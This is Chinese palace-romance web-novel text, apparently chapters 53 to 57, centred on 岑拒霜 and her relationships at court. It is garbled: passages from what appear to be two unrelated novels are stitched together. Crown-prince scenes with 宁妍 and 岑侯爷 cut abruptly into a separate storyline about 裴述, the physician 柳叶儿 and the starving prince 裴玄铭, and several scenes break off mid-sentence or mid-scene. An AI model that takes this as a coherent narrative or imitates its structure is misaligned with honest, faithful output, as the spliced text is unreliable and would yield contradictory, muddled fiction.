岳父 包厢里,盏盏点燃的烛火复了明色。 太子巍然不动地坐在榻上,拈着酒盏皱起了眉。 他睨着盏中酒液,酒仍是那甜腻的葡萄酒,微微摇晃着泛起透亮的紫红色,他却觉口味如何也不对,兀自抬起手将酒尽数洒在一边。 玄序匆匆从包厢外归,面朝太子垂首回禀着话,“殿下,岑侯爷已经到了。” 宁妍已是心急如焚,她忙不迭地跺着脚四处找着藏身之处,靴底踩着地板“蹬蹬蹬”的声音回荡在屋内,上蹿下跳的身影跑遍了整个包厢,嘴里还止不住地念叨着, “完了完了完了……这下算是完蛋了……” 太子幸灾乐祸地看着宁妍,修长的指节把玩着手里的瓷盏,垂眼瞧着自己腿上卧着的雪白小脸时,岑拒霜睡得正香,就着他宽大到足以覆盖她浑身的衣袍,她拽起衣袍紧紧裹着,蜷着身子往他那里贴了贴,丝毫没有被吵醒的迹象。 岑侯爷这才拔高音量,如洪钟的嗓门儿铺天盖地朝太子扑去,“放屁!我家小霜自己爬到你身上的?她衣裳自己脱的?” 太子不假思索地答言,“还真是。” 岑侯爷气结,“你——” 他看着太子那张生得妖异的脸,挑着一双瑞凤眼满是倨傲,他越看越觉怒火中烧。 不多时,岑侯爷冷静了几分,他摆出长辈的姿态,沉声道:“我不管你是觉得一时好玩还是什么,小霜不适合当你的太子妃,我也不想她这么早嫁出去。这天底下女子千千万,你还是祸害别的去吧,我家小霜身子差,经不起你折腾。” 太子哦了一声,“孤就喜欢身体差的。” 岑侯爷闻言又欲发作,紧紧捏着手里的腰刀强行忍住了怒火,“那些个年纪大身体又差的多的是,你怎么不去喜欢?” 太子搂着怀里的人愈紧,勾起的唇角笑得恶劣。 “她们没有霜霜好看。” 第 53 章 回宫 太子扬起下巴,“她跟着孤,还可怜?” 岑侯爷深吸了几口气,“我家小霜跟着你,在青遥山上不是弄得一身伤就是掉下山底下失踪,她在我侯府上从来没有受过一点痛,我都舍不得她磕着伤着半点,这短短几个月的时间,小霜都吃了多少苦了?我把小霜当我的亲闺女,我这老父亲能不心疼么?” 太子摩挲着自己的手腕内侧,那里有着蛊虫钻入留下的红点, “她痛的时候,孤也痛着呢。” 岑侯爷黑着脸,彻底失去了耐心,权当太子在说什么恶心他的情话,只得单刀直入地问着他,“你到底放不放人?” 太子一如既往地持着他的蛮横,“进了东宫,就是孤的人。” * “殿下,那苏祯确如他给公主和岑姑娘所言,家住临州,前几月遭了灾,家中五口人里只有他活了下来。他原本是要投奔京中的远亲,结果远亲把他拒之门外,假装不识,他流浪街头时被流云阁的掌柜相中,便成了流云阁的头牌。” 烛火照彻的书房里,玄序低着头一一细述着。 太子半卧在罗汉床处,挑眉问着,“京中的姑娘们,都喜欢?” 玄序点点头,“确实如此,苏祯至流云阁后的短短一月,流云阁的账目翻了好几番,很多贵女都为其争抢不休。” 太子抬眼看着不远处的铜镜,那镜中的面容完美依旧,他撩起额角垂落的一绺墨发,怎么看都觉得,那流云阁里的人包括苏祯都与他相差甚远,也不知到底因为什么如此勾得她心心念念。 “那你觉得,他有何优点?” “属下对这苏祯了解不多,只知他琴技了得,样貌出挑。但依着属下对流云阁里的伶人了解来看,能够讨姑娘们喜欢,单是靠这些还不够的。” 玄序想了想,“还需要够主动求.欢求好。” 第 54 章 问卷 七月炎气正盛,树上蝉声日渐长鸣。 东宫侍卫们晨起的一大工作便是驱逐扰人的蝉声,时有窜来窜去的锦衣身影在树枝间起跃,某日岑拒霜醒得早,推窗时,瞧见琉璃瓦下的枝影间潜伏了一大团黑影,足足吓得够呛。 趁着这日天还算阴,未有毒辣日光顶头,宁妍相约她去城中的西江楼吃席,说是补偿上回她在流云阁醉了酒没能尽兴一事。 西江楼是京中最大的酒楼,那里的厨子善研究各式各样新鲜的菜式,广受好评。素日里若要去西江楼吃席,都需提前好些日才能约到空位,岑拒霜亦没去过,一听要出宫吃席,她满口答应。 岑拒霜唤来尤珠梳洗打扮了一番后,拾掇着往宁妍的寝宫而去。 东宫某处,浓密的树叶遮掩着一道缩在枝头的黑衣身形。 玄序抬手挡住头顶的日光,探头探脑地眺望着远方渐远的姝色背影,对树下的侍卫招招手,“去,派人相传一声,岑姑娘出宫了。” 朱红的宫墙根下,马车自宫门平缓驶出。 从未见过如此美的地方,岑拒霜只觉心脏扑通扑通地加剧着跳动,她既惊又喜,三步并作两步地跑上前,猫腰钻入花海里,“这些花是何处……” 岑拒霜话音落时,发觉这花并非真的。 离得近了,她瞧见这柔软的花瓣是由上乘的绫罗所做,远远地看着与真正的花无异。而所谓的花香,她躬身嗅了嗅这花间的气味,应是撒了特制的香粉在其上,风一吹便似是花香隐隐而来。 且这些花的模样,她越看越觉眼熟…… 是拒霜花? 岑拒霜认出了这花,她心里似有层层涟漪无声掀起,一圈一圈地摇起波澜,她指腹抚着花身的纹路,倏地听闻身后传来极轻的足音。 她回过头,摇曳的粉白色里,太子身着翠蓝色的衣袍而来,他未束冠,只是将乌发半拢在了身后,束着的织金发带随风鼓动着,飘扬的青丝划过那张好看的脸庞,他扬起剑眉眉梢,唇角勾得恣意。 岑拒霜不知为何下意识垂下了眼,不敢看向他。 指节捏紧的绫罗花被揉得一团乱。 额角被他敲了敲,“孤送你的花,要被你拧成麻瓜了。” 第 55 章 七夕 岑拒霜不自然地缩回捏花的手,蜷在衣袖内。 衣裙带过花香阵阵,她低头之时,那馥郁的气息更为浓烈。 额角被太子敲的疼痛已然消却,听着太子朝她走来的窸窸窣窣声响,岑拒霜余光瞥见那粉白花影里的翠蓝色身形,出声问着,“殿下怎的今日突然想起来送我花?” 话音落时,她察觉自己蜷在袖中的手被太子牵住,他修长的指节蛮横地滑入她的手,指尖玩弄似的挠着她的手心,摩挲得她痒痒的,这手心的感官似也通向了心间的脉络,如有一根极为柔软的羽毛来回拂动着她的心尖,发痒得厉害。 “哪有那么多为什么?跟孤走。” 岑拒霜唯见花海的尽头,是一座用绫罗所做的花缀满的小屋,屋前栽植了好几株拒霜花树,瞧着那根植旁的松动泥土,应是这两日才移植过来的,此时花期未至,绿幽幽的树枝掩着天光,斑驳的影子落在门前。 见岑拒霜如此,柳叶儿毫不意外。 毕竟裴桢林恶名在外,任谁也不会喜欢。早在她来时看到裴桢林被挡在门外的时候,她就猜到了岑拒霜定实在躲人。 如此,她看向岑拒霜的目光不免带了些同情。 “没问题。”柳叶儿一声应道,“十皇子说你感染了风寒,那我便对外说你伤寒严重,需要静养,不便待客。” 岑拒霜感激地看向她,将玉佩更近一步,越发谨慎:“多谢柳大夫。” 柳叶儿看着她手上的玉佩,水润晶莹,一看就价值不菲。看她丝毫不在乎的样子,柳叶儿便知道岑拒霜并不缺这些东西,心道:看来这回裴桢林碰上了个硬茬,怕是脸上不好看了。 她也知道,如果自己不收,以宫里人谨慎致微的性格,怕是并不相信她能保守秘密,反而会猜忌她。唯有收了东西,才能让她们觉得自己是和她们同一条船上的人。 柳叶儿深谙其道,于是便眼也不眨地收了东西,淡淡道:“以后我每日都会来换药,岑小姐不必担心,我定会劝住十皇子的。” 闻言,岑拒霜才终于放下了心。 见人起身收拾东西,她忽然想到了落月宫的裴玄铭。裴玄铭身体已经虚弱地步履羸弱,不知道前几个月那些人是怎么折磨他的,也不知道他身体还有没有别的伤。 然而若是她开口问,以柳叶儿的敏锐,定会发现她和裴玄铭的关系。若是这段关系暴露在皇后面前,她真就不知道该如何面对她和裴述了。 柳叶儿收拾完东西,正打算告别,却发现岑拒霜满脸纠结地看着她。 看来,这个岑小姐,秘密还真不少。柳叶儿自幼父母双亡,由她的爷爷柳青抚养长大,因此小小年纪便一副老成持重的模样。 自小,爷爷柳青便告诉她:各人自扫门前雪,休管他人瓦上霜 ,这是在宫里的生存之道。 然而此时此刻,她却突然对这个寄居在皇宫的少女,或多或少产生了些不该有的霜悯和好奇。 于是,她多嘴问了一句:“岑小姐,可还有事?” “嗯……”突然被柳叶儿疑问,岑拒霜迟疑了。 裴玄铭的身体,自己在宫中的处境,到底该怎么选?岑拒霜内心反复纠结,然而在看到柳叶儿依然镇定如水的目光时,她突然清晰了。 做人不能忘恩负义,更不能苟且偷生。她当年受瑶妃恩惠,绝不能让瑶妃在世间唯一的孩子活得如此辛酸! 岑拒霜正了正声,迎着柳叶儿探究的目光,道:“我还有个朋友,想请柳大夫帮忙诊治一番。” 朋友? 柳叶儿惊讶于岑拒霜口中“朋友”一词语。 “朋友”在哪里又能有,但是唯独在深宫,尤其是后宫,没有“朋友”一说。 妃嫔与妃嫔之间,是竞争对手,是你死我活的斗争;妃嫔与皇帝之间,是依附和被依附的关系,大树怎么样都能生长,但藤萝离开了大树,便无法生存。 在朝堂,皇子与皇子,看似相互平等,但实际上还是子凭母贵,外戚实力最强的皇子,便是最为受重视的皇子。 更不用说同朝为官的各级官僚,看似是各司其职,但其中的门生故吏、师生情谊,那里是简简单单的“朋友”一词可以概括。 如此,柳叶儿便更加对岑拒霜口中的朋友好奇了。 她放下东西,问道:“不知岑小姐口中的朋友,是何人?” 岑拒霜目光停留在她身上良久,却见她几乎从头到尾眼神都是一如来时那般,不见波澜。那一瞬,她又想起了裴述。 那股对裴述的信任,悄然间转移到了柳叶儿的身上。 岑拒霜轻声道:“是六皇子。” “他大概应该很久没吃什么东西了,饿得皮包骨头,连走路都脚步虚浮,我刚刚让人给他送了吃的过去。” “我想让您帮我看看他的身体,还有没有别的问题。” “等等!”柳叶儿见岑拒霜还想继续说话,蹙眉打断道:“你是说他很久没吃东西了?” 岑拒霜点点头,以为她是对此吃惊,于是便解释道:“因为他小时候落水了,醒来后——” “这些我都知道。”柳叶儿再次打断她,一双自始至终都寂静的双眼,终于有了变化,她紧紧盯着岑拒霜,问道:“你刚刚给他送了吃的过去?” 岑拒霜觉得她问的很奇怪,虽然多次被打断,但她还是配合道:“嗯,就刚刚我回来的时候送过去的。” 柳叶儿脸色越发不好看了,“送了多少?” 岑拒霜偏头去看沅芷,沅芷连忙往前走一步,有些不知所措道:“因为小姐说六皇子饿得厉害,我让有兰把咱们小厨房做的午膳全送去了。” “糟了!”柳叶儿脸色一变,提着药箱立刻转身向外走,见沅芷还愣着,忙催道:“带路啊,去晚了,六皇子怕是进气儿多出气儿少了!” “啊!”沅芷一惊,回头看了眼岑拒霜,岑拒霜虽不知道为什么,但也被柳叶儿的神色感染,心里一坠一坠的,赶紧道:“快去带路!” 柳叶儿觉得自己真的是有几分倒霉,早在踏出门的时候,她就已经后悔了。到底怎么想不开,非要来踏这趟浑水! 如果长期不进食,人的肠胃会变得非常脆弱,此时绝不能大量进食,甚至连大量喝水都不可! 但是饿极了的人,哪里会管这些?柳叶儿曾跟随柳青去过西北赈灾。当时西北大旱,颗粒无收,大批灾民曝尸荒野,由此瘟疫横行。 她曾见过那些饿极了的灾民,在得到赈灾粮食后一次性全部吃了,纵使柳青再三劝阻,都无济于事,最后只能见他们痛苦地死去。 柳叶儿皱眉,她接了这个烂摊子,怕是第一个见到皇子撑死的人了。到时候她要怎么说?怕到时候皇上追问下来,她们一个个都跑不了。 此时已是黄昏时刻,落月院黑影重重,院外没灯,连院子里都没灯,悄无声息。 柳叶儿心里咯噔一响,该不会已经晚了吧? 沅芷来的路上听了柳叶儿的经历,她动作飞快,十分麻利地带这柳叶儿去了裴玄铭的房间。见房门紧闭,两人相视一眼,直接上前一起往门上撞去。 两人几乎毫无保留,那木门本就年久失修,在两人的撞击之下,直接断了。木门扑倒在地上,扬起一阵灰尘。 淡淡的夕阳头透进屋里来,照亮了屋内男子明亮而惊讶的眸子,也照清了桌上几乎连盖子都没打开的食盒。 裴玄铭惊讶地看着扑倒在地的两人,他认出了其中一人是沅芷,愣了好一阵儿,才结结巴巴道:“你,你们,干什么?” 两人见人没事,纷纷松了一口气。 柳叶儿麻利地从地上爬起来,拍拍身上的灰尘,奇怪地看着裴玄铭:“你没吃?” 按照岑拒霜的描述,裴玄铭既然很久没吃饱饭了,按理来说会饥不择食才对,然而饭菜就这么放着,纹丝未动。 行医无外乎望、闻、问、切,只远远一望,她就知道岑拒霜并没有骗她,裴玄铭面容枯槁,瘦弱不堪,确实一副久未吃饱饭的模样。 裴玄铭见她以来就质问他,不满道:“关、关你什么事!” 早就听闻裴玄铭幼时落水,醒来就成了痴儿,如此一见,似乎果真如此。柳叶儿便道:“是岑小姐让我来的,她担心你的身体。” 提到岑拒霜,裴玄铭脸色变了变,然而就在柳叶儿上前之时,裴玄铭却突然疯了一般将枕头、花瓶往柳叶儿身上砸。 沅芷怕裴玄铭伤了柳叶儿,让她对岑拒霜有怨,便倾身挡在了柳叶儿身前。黑暗之中,有什么狠狠砸中了她的背上,她忍不住惨叫了一声。 见裴玄铭如此疯态,柳叶儿再也忍不住内心的不满,一怒之下骂道:“不想看病就直说,我们还不想伺候呢!” 说着,她扶着沅芷便往外走。 好在沅芷只是被砸中了背部,走路无碍。回去的路上,她看着气极的柳叶儿,赔笑道:“柳大夫,真是对不住,没想到让你白跑一趟了。” “我们家小姐,也并不知道他会突然发疯,以前都好好的。” 柳叶儿知道她的言外之意,即使在刚刚那种情况下,她最先想的也是护住自己,免得让岑拒霜受到迁怒。 想及此,她的神色缓和了些,道:“你不必担忧,一码归一码,你家小姐是你家小姐,和六皇子无关。” 沅芷这才松了口气,却又忧虑地回望着落月宫的方向。 …… 华灯初上,虫鸣渐起。 东宫院外,黑压压跪了一圈儿人,气氛凝重。 杜衡看着座上静坐的裴述,心里急得蚂蚁乱爬。 别看现在裴述正襟危坐,但是也只有杜衡知道,他只是在强撑罢了。 如纸白的脸色,轻微抽搐的身体,额头不断滴落的汗水,都在表明身体的主人,正在经受巨大的折磨。 “殿下,请太医吧!”杜衡跪着地上哀求,“你这样,是撑不住的!” “滚!”裴述微眯双眼,强忍着体内的剧痛。 “殿下!”杜衡以头抢地,似乎以必死的决心劝谏,额头顶着冰冷的地面,悲怆道:“请柳太医前来诊治吧!” 柳太医三个字,似乎戳中了裴述,他正想说声什么,一股如狂风过境般的恐怖痛处直直戳向他的五脏六腑,他直接一口鲜血吐出。 裴述无声握紧双拳,擦了擦嘴角的血,终究是忍不住了,他沉声道:“去请柳太医来。” 东宫新换的人,做梦都想着立功,脚步极为麻利。 半晌,小太监传来消息:“回殿下,柳太医被十殿下请去给岑小姐看病了。” 裴述微眯的双眼骤然一暗,“你说谁?” 为了保证东宫的人绝对“干净”,新来的小太监都是刚进宫的,不知他和岑拒霜的关系,于是小太监解释道:“就是芙蕖宫里的岑姑娘。” 岑姑娘……岑拒霜? 裴述混沌的脑子忽然飘出前些日子,那个提着八角灯笼,迎风而立的,如夜来香般的女子。 岑拒霜瞧着那耳饰稳稳当当地戴在了他的右耳,松了口气正欲退身时,瞥见太子妖异的眸中掀起的情绪浓烈。 那样的情绪是她曾经在太子眼中见过的,但皆不如今时浓重。似是想要一口吞下嚼碎的危险意味,又似是想要将她占为己有的沉重欲望,像是有一团火,烤灼着想要贴近她,抑或是直直吞噬她。 秋千蓦地摇晃起来,她当即摸不着实边,眼见着便要摔倒。 她将要惊呼出声时,腰间的纱裙被一只有力的手攥住,她与太子齐齐落至地面。 耳饰处流苏相扣的动静大作。 岑拒霜只觉眼前天旋地转,清新的草木味道淡淡而来,腰后的掌心炽热得厉害,她被牢牢箍在怀里,周身环绕着男人灼烈的气息。 下意识扭动着身躯之时,她发现腿边碰到的一处极为滚烫。 第 56 章 亲吻 草叶翻飞间,混着泥土的清新味。 虽是在芳草地间咕噜噜地滚了一遭,但岑拒霜没感受到摔在地上的疼痛,此番灵台回过神来,以太子的身手,自是不会因为秋千的摇晃便把他也拉拽下地。 ——是他故意使坏,抱着自己往地上滚的。 岑拒霜还没来得及嘟囔着以示不满,只觉身上一沉。 太子的身形压沉在她之上,藤萝架下的斑驳光影被揉碎成点点,他散落在两肩的墨色发丝遮掩着稀稀落落的光色,唯有他一双点漆似的眼眸明明如日,灼烈至极。 似是嫌那耳坠缀连的流苏丁零得太过吵闹,太子微微侧过头,径自用唇衔住了流苏的末端,几缕发丝拂动在无可挑剔的轮廓线,这副俊美的模样过分妖异,饶是岑拒霜想要避开他直勾勾的视线,又如何都挪不开眼。 岑拒霜见柳叶儿离去地如此匆忙,自己心里也七上八下的,完全不知道该怎么办。 这三年来,她已经受够了等待,如今再也不想就这么再干等着了。 她忍着疼,让有兰替她换好衣服,准备去落月院看看,却不想一出门就遇上了归来的乌嬷嬷。 乌嬷嬷一身疲惫,见着一瘸一拐地岑拒霜,惊得愣了一下,而后快步上前走到岑拒霜身边,伸手揽着她的身子,上下仔细打量,心疼道:“你这是怎么了?脚崴了?大夫看过了吗?” 正说着,柳叶儿和沅芷刚好归来。 几个人面面相觑,一时气氛有些诡异。 乌嬷嬷毕竟老道,虽然不知道发生了什么事情,但还是上前直接蹲在岑拒霜身前,偏过头看着岑拒霜:“小姐,让老奴背你进去吧。” 被柳叶儿这么看着,岑拒霜有些羞赧,她可不想让对方觉得她只是个连路都不能走的娇气包,她强拉着乌嬷嬷起身,别扭道:“不用了,我能自己进去。” 却不想柳叶儿却道:“岑小姐确实不方便行走,还是听嬷嬷的话,让她背着你吧。” 岑拒霜看了看柳叶儿,见对方并无揶揄的意思,便顺势趴到了乌嬷嬷的背上。当年,就是这个宽大的肩膀背着她进宫,如今已然十年过去了,这十年间,乌嬷嬷既当爹又当娘,将岑拒霜护得极好。 乌嬷嬷见状,心里却震惊了。 此人是谁?为何岑拒霜这么听她的话? 待众人进门,在岑拒霜说话之前,乌嬷嬷便先声夺人,探究地看着柳叶儿,问道:“姑娘是……” 后宫之中的女子,除了妃嫔和女官,就只剩下宫女了。 然而看柳叶儿的服饰,既不像女官,也不像宫女,更是和妃嫔半根杆子也打不着,乌嬷嬷只好这么含糊地称呼道。 “这是太医院柳太医的孙女。”岑拒霜介绍道,她不想浪费时间,赶紧问出心里的问题,“他有事儿吗?” 柳叶儿知道她要问这个,刚刚受了气,一肚子冷言冷语正准备脱口而出,就被沅芷抢道:“六殿下没事。” 柳叶儿哑然,只得住嘴,瞥了一眼沅芷,却见她哀求般地看着她。 奇奇怪怪的主人,奇奇怪怪的丫鬟,柳叶儿心里如此评价道,反正这些都和她没关系。她看了看天色,告辞道:“既然事情都办妥了,那我也就告辞了。” 看着岑拒霜要起身相送,她赶紧按住她,意有所指道:“明天我来给你换药,你不要乱跑了。” 被她这么一说,岑拒霜红着脸低下了头。 其实,柳叶儿一早就看出了岑拒霜的伤之所以为这么严重,完全是受伤后没有保护好,因此才如此警告,并且再次暗示她,她会按照她们之前说的那般,保守秘密。 见着柳叶儿离去,沅芷赶紧送客。 两人一直沉默,一直到了院外,沅芷才饱含歉意地开口:“柳大夫,刚刚的事情希望你不要介意,我并非是有意的。” 柳叶儿静静地等着,她发现这个芙蕖院的大大小小,越发有意思了。 沅芷本以为以柳叶儿的性子,根本不会探究原委,不料她却这么定定地盯着自己,她只好硬着头皮道:“在这深宫之中,小姐和六殿下相依为命,十分艰难。今天下午,小姐和六殿下吵架了,我想这就是为什么六殿下为什么会突然砸东西。” “六殿下的生母瑶妃对小姐有恩,因此不管六殿下如何胡闹,小姐定不会坐视不管。” “我想着,既然如此,就不要告诉小姐关于六殿下发疯的事情了,免得她徒增伤心。” 柳叶儿心里一嗤,没想到这深宫中,竟真的有岑拒霜这样如此天真而重情之人,这人居然还是当今皇后的侄女,当今太子的表妹! 真是可笑啊! 柳叶儿深深地看了看她,似是而非道:“以后,离皇后和太子远些。” 说完,留下呆滞的沅芷,背着药箱去了。 …… 屋内,乌嬷嬷慈爱地看着岑拒霜,亲手为她散开头发,观察着镜子里的人,轻声问道:“小姐很喜欢这个柳姑娘?” “不是柳姑娘,是柳大夫。”岑拒霜十分较真地纠正道。 人人都可以是柳姑娘,但柳大夫就这么一个。 乌嬷嬷笑着道:“好好好,是我说错了,是柳大夫,那小姐为什么会喜欢柳大夫?明明今天才是第一次见面吧?” 不愧是最熟悉岑拒霜的人,这么一问,直接问到了重点。 岑拒霜低着头顿了一会儿,闷闷道:“我喜欢她的眼睛,她的眼睛和太子表哥的一样,有我没有的东西。” 乌嬷嬷手上一顿,神色担忧:“是什么东西?” 岑拒霜又顿了一会儿,摇摇头,仿佛自己也很迷惑,“不知道,我说不上来。” 乌嬷嬷一时也不知道该说什么。 岑拒霜已经是大姑娘了,但是皇后却迟迟不给她指婚。今日她一早就去了未央宫,本想旁敲侧击一下岑拒霜的婚事。 然而她从清晨等到日暮,却连皇后身边女官的影子也没见到。其实她早就猜到会是这样,这也不是她第一次去了。 寻常百姓家的女子,几乎十二三岁便开始谈婚论嫁了,只等十五岁及笄时。因此乌嬷嬷便早在岑拒霜十四岁时就开始找岑皇后,求她为岑拒霜指一门好婚事。 岑拒霜虽不是嫡亲的侄女,但好歹也是她唯一的侄女,又在皇宫养了这么多年,于情于理她都该为岑拒霜指婚。 初次见岑皇后时,岑皇后只是淡淡地说岑拒霜太小了,然而两年过去了,岑拒霜已经十六岁了,可关于她的婚事却迟迟没有下文。 她不是没有猜测,岑皇后想让岑拒霜嫁给裴述,亲上加亲,但直到她察觉岑皇后在明里暗里阻碍岑拒霜和裴述来往时,这种猜测也落空了。 到底是为什么呢?乌嬷嬷怎么也想不出来。 “乌嬷嬷?” 岑拒霜见乌嬷嬷走神,不由地喊了她几声。 乌嬷嬷伤神地回神,“怎么了?” 岑拒霜看出了她的一身疲惫,本还想问她今天去干什么,但想了想还是算了,只推着她回房,“乌嬷嬷快回去休息吧,咱们最近也没什么事儿了。” 长明灯下,美人长发披肩,紫灰色的眼眸映着跳动的烛光,像琉璃一般波光婉转。 岑拒霜,融合了西域人的明艳和中原人的婉约,是比她身为西域第一美人的母亲婀吉丽娜,还要美丽耀眼的存在。 中原人说,美人总是命途多舛。乌嬷嬷看着已经有倾城倾国之态的岑拒霜,心里轻叹了口气。 乌嬷嬷:“小姐也是,早点睡吧。” 位处西苑的芙蕖宫灭了灯,东苑的东宫却依旧是灯火通明。 东宫院外,杜衡看着黑压压一圈儿人,厉声训斥道:“早就给你们说了,太子殿下吃不了任何坚果,你们到底是谁把花生粉撒到汤里了!” “你要现在说,还能饶你们一条狗命,要是被我查出来,你们一个个都是谋杀皇子的死罪!” 此话一出,这群刚进宫的小太监立马吓得快哭了。许久,一个小太监怯怯地抬头,杜衡的眼睛刀光一般地向他扫去,吓得他立马栽下头。 杜衡一步上前,一把将人想提鸡崽子一样提起来,厉声道:“就是你!” “呜呜呜呜,冤枉啊!”小太监不过十几岁,谋害太子的罪名直接让他吓尿了,然而此时此刻却没人笑话他,所有人都缩着脖子。 “我……我不知道花生是坚果啊,没有人给我说过呜呜呜……” “我真的,真的……” 说着,这名小太监竟直接晕死过去了。 杜衡无奈了,他还真以为是有人敢谋害裴述,但如此一查,只能怪这群人实在是懂得太少。 裴述此刻已经缓了过来,看着一脸菜色前来的杜衡,淡淡问道:“都问出什么来了?” 杜衡抬头瞧了瞧他的神色,自从刚刚那个小太监来说柳太医被十皇子叫去给岑拒霜看病,裴述就有些奇怪。 不像是生气,也不像是嫉妒,杜衡没读过什么书,只觉得裴述此刻就像个要沸腾的壶,只不过现在有个壶盖盖在上面罢了。 若是有一天,谁把这个壶盖给拿走了,那怕是会天下大乱。 他顿了顿,在心里整理了一下语言,“看来是一场误会,外面都是一群刚进宫的小太监,什么都不懂,连花生是坚果都不知道。” “也是,太子殿下才刚回宫,漠北的事情还没处理好,全都要依靠殿下您,怎么可能有人赶在这个节骨眼使这种下三滥的招数?” 裴述一直闭眼养神,见他停下,便睁开眼冷冷扫他一眼:“说完了?” 杜衡卡了一下,“完,完了。” 绕了一圈,不过是想把自己的罪责掩去罢了。裴述疲倦地起身,按了按鼻梁,说话却一针见血:“这就是你找的人?这就是你为我办的事?” 杜衡脸色一白,“啪”地一下跪在了地上,“殿下恕罪!属下也是无奈才找的他们,殿下想要的‘干净’背景的,就只有他们了。” 裴述走出院外,门外的小太监们瞬间趴的更低了,刚刚还隐隐啜泣的声音,瞬间了无声息。 裴述:“你们都下去吧,杜衡你再去找把之前那几个得力的大太监找回来,尽快把他们教好。” 众人得令,一股脑蜂拥般地逃走了。 杜衡不放心裴述,在他身后走来又来,欲言又止。 毕竟是从小跟着他的,裴述不用回头,就知道杜衡在想什么,他头也不回,略有些不耐烦:“快走吧,别留在这儿碍我的眼。” 杜衡知道,裴述向来是刀子嘴豆腐心。明明自己刚刚害得他那么惨,却不过是说了几句重话而已。 他犹犹豫豫道:“殿下,真的不需要请柳太医吗?” 裴述:“滚!” 杜衡:“……” 偌大的东宫,唯有裴述一人迎风而立。 初夏的晚风,还带了些许寒意,吹起他身上的暗金文玄色衣袍,他身形挺立,如一根松木一般,浑身散发着禁欲和孤寂的气息。 东宫地势稍高,可以看到西院的宫殿。 裴述注视着西院,芙蕖宫的方向,不知看了多久,突然他轻轻地说了句什么,只见刚刚还涌起的风瞬间沉寂了,几道黑影刷得从东宫的方向散出。 裴述淡淡地再看了眼未央宫的方向,眼里的冷淡和寒意令人刺骨。 只一眼就转身,不屑再看一眼。 江逾白自是没有与她亲近到教这些东西的地步,而叔父还将她当作小孩子,如今和太子接吻时,她还需要太子教她如何换气。 这样神秘的事情如同被一层纱蒙住,岑拒霜还是年前从话本子里才探知到,夫妻之间同房会用到一些稀奇古怪的玩具作乐,也就是宁妍箱子里的那堆宝物。 越是想着,绯红的颜色爬上脸颊与脖颈,岑拒霜连忙伸手作扇子形状,在自己滚烫的面上扇了扇。 用过早膳后,岑拒霜直接去了宁妍的寝宫,陵乐宫。 宁妍正拈起香炉,焚上一片香,余光瞥见坐立难安的岑拒霜时,问着,“怎么了?从你一进我寝殿那会儿起,我就瞧见你心神不宁的,有什么事说出来,我来替你兜着,再不济,还有二哥给你兜着呢。” 一提到太子,岑拒霜的脸噌地变得通红。 宁妍愣了愣,“难不成二哥和你……” 岑拒霜拧着指节,衣裙几近是要成了麻花,“你,你可以和我讲讲……男女之间的事情吗?” 第 57 章 拟旨 皇宫,清居院。 青草池畔,柳荫织成的半边清凉地界下,一个身着短布简服的影子躺在藤椅上,面上覆着半本书页,遮住了天光,手里握着的鱼竿长长垂至水面,微微晃悠。 直至白面长须的老太监躬身步来,在其耳边轻声说道:“陛下,太子殿下来了。” 话音落时,太子已是阔步走来,毫不客气地坐在皇帝身旁放置的小凳上。 皇帝拉下掩面的书页,瞄了眼手边被吓跑的鱼儿,直起身看向太子。 “哟嗬,今儿个太阳打西边出来了?舍得踏进朕这破烂院子了?” 皇帝见他一脸不耐地拿着装泥鳅的小罐把玩着,又问,“胳膊上的伤长好了吗?御医来跟朕说,你那箭上有毒,应当好生休息调养,但朕见你啊,回京后就没歇过。” 裴玄铭三个字一出,裴述眼里忽地暗了一瞬。 冰封多年的记忆,如脱缰的野马,在脑海中不断回荡。 他的脑海中浮现出五年前的那一幕,那时正值腊月寒冬,北风吹得人脸上生疼,但却比不上裴玄铭怒气冲冲地挥向他的那一拳。 他的领子被裴玄铭抓起,对方红着眼质问他、诘问他。那时裴玄铭十三岁,而他也才十五岁,虽然那时两人都还小,但裴玄铭倾尽全力的一拳,还是直接让他嘴角出血。 也是那次,裴玄铭一时不察跌入冰湖之中,再醒来时,已是一副痴傻模样。 裴述敛眉,心里不禁嗤笑。 为了个非亲非故的女子,值得么? 正打算往回走,却被一道突兀尖锐却熟悉的声音叫住。 “太子殿下,请留步。” 似是早有预料,裴述脚步一顿,似笑非笑地勾起嘴角,转身一看,果然是周帝身边的大太监——冯令。 裴述挑眉,话里有话道:“原来是冯公公,怎么,有事?” 此时的裴述,早已不是三年前那个文文弱弱的只会舞文弄墨的书生,经历过三年漠北的冷萃,已然练就出一幅不怒自威的模样。 冯公公跟随周帝多年,见着犹如脱胎换骨的裴述,心里不禁咯噔一响。 一想到自己的任务,他忙压下心头的诧异,低头回道:“陛下请太子殿下前去商议要事,请太子殿下移步。” 他是皇帝身前最得力的大太监,也称得上是万人之上的人上人了,即使面对一般的王公贵族和皇子公主,他也是不必放低姿态的。 然而此时面对裴述,他却不自己觉低下了头。 一路无言,然而裴述的眼神却让他感觉芒刺在背,短短一截路,冯令竟走出了一身的冷汗。将人带到后,他忙不迭地退下了。 周帝的书房隐在一片竹林之间,初夏的竹林在晨风中歪歪斜斜,发出一阵飒飒的声响。阳光透过间隙撒下来,照出斑驳的青石板。 竹林深处,别有洞天。 一座朱红色阁楼拔地而起,八角阁楼每一层都挂着一个鎏金的灯笼,雕梁画栋,龙飞凤舞。虽不比前殿奢华气派,却别有一番风味。 裴述长驱直入,如入无人之境一般地踏进阁楼,刚进门,一道黑影便向他迎面砸来,直直地砸向他所在的地方。 从军三年,躲避敌器的本能几乎已经烙进了裴述的骨髓,然而这一次,他却站着僵直,任竹制笔筒砸向自己的肩膀。 他静静地看向前方,注视着暴戾的周帝,一双眉眼深不见底,毫无感情,仿佛看向的并非自己的父亲。 裴述眼里暗了几分,但面上却丝毫不显,捡起笔筒后轻轻地放在桌案上,道:“父皇息怒,不知是何人惹得父皇如此生气?” 自裴述进入竹林后,周帝一直在观察裴述。他本想用竹筒试一试他的脾性,出乎意料,裴述居然没有表现出任何不满和怨恨。 但仔细一想,似乎又是在情理之中。 裴述,还是当年那个掌控在自己手中的鸟,纵使这三年增了几分羽翼,依旧没想着飞出自己的手心。 周帝心里怒气稍缓,嘴上却言辞狠厉:“你还问是谁?你把那封信带回来,你让 “而且,岑拒霜是你的表妹,你怎么忍心将她送往漠北?让她嫁给杀父仇人?!” 裴述心里冷笑,真是可笑啊,明明连自己有多少子女都不知道,现在居然担心一个外人的女儿?! 一国之君,居然为了个女人而放弃如此好的大国互利条件,裴述眼里的冷意更深。 良久,他沉声道:“父皇,今早在殿前,户部尚书和程丞相说得有理,我朝与漠北交战多年,不管是国库还是兵源,已是危在旦夕。” 